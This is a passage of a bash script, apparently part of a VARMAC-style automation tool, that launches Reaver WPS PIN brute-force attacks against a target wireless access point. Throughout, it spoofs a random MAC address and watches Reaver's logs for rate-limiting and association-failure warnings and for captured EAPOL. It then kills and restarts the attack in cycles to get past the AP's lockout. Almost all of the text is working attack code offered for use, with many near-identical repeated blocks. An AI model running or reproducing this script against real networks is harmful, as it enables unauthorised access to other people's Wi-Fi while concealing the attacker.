	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE7 == n ] || [ $KEEP_FILE7 == N ]; then

          rm VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R8 == n || $USE_R8 == N ]] && [[ $USE_LONG8 == n || $USE_LONG8 == N ]] && [[ $USE_PIN8 == n || $USE_PIN8 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R8 == y || $USE_R8 == Y ]] && [[ $USE_LONG8 == n || $USE_LONG8 == N ]] && [[ $USE_PIN8 == n || $USE_PIN8 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX8" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY8"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -vv -x 60 -r $RX8:$RY8 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R8 == n || $USE_R8 == N ]] && [[ $USE_LONG8 == y || $USE_LONG8 == Y ]] && [[ $USE_PIN8 == n || $USE_PIN8 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R8 == y || $USE_R8 == Y ]] && [[ $USE_LONG8 == y || $USE_LONG8 == Y ]] && [[ $USE_PIN8 == n || $USE_PIN8 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX8" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY8"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -r $RX8:$RY8 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME8-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP8 (ESSID: $NMEWARN8)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R8 == n || $USE_R8 == N ]] && [[ $USE_LONG8 == n || $USE_LONG8 == N ]] && [[ $USE_PIN8 == y || $USE_PIN8 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME8"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL8"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP8"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE8 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME8-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL8 -b $TARGETAP8 -vv -x 60  --pin=$WPS_PIN8 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME8-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE8-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME8-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME8-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME8-$DATEFILE-$PAD | awk '{print $5}'`



